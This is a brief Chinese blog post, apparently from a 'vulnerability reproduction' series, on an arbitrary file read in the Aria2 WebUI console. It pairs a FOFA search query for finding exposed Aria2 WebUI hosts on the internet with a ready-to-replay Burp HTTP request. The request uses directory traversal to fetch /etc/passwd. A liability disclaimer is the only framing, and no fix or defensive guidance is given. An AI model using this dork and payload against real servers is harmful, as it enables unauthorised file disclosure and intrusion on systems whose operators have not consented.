【漏洞复现】Aria2 WebUI控制台任意文件读取漏洞

最新推荐文章于 2024-07-12 08:36:20 发布

Aniya也会哭

最新推荐文章于 2024-07-12 08:36:20 发布

阅读量538

点赞数 13

分类专栏：漏洞复现文章标签： web安全安全网络安全

本文链接：https://blog.csdn.net/KKleeeaa/article/details/135930040

版权

漏洞复现专栏收录该内容

17 篇文章 0 订阅

订阅专栏

声明：亲爱的读者，我们诚挚地提醒您，Aniya网络安全的技术文章仅供个人研究学习参考。任何因传播或利用本实验室提供的信息而造成的直接或间接后果及损失，均由使用者自行承担责任。Aniya网络安全及作者对此概不负责。如有侵权，请立即告知，我们将立即删除并致歉。感谢您的理解与支持！

0x01 FOFA语法

app="Aria2-WebUI"

页面大概是长这个样子的

老样子直接把POC放在Burp重放一下改一下Host就行。

0x02 POC

放在Burp跑跑跑跑跑！！！！！！！！

GET  /../../../../etc/passwd  HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0
Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

哦吼哦吼，怎么回事老弟，passwd怎么出来了。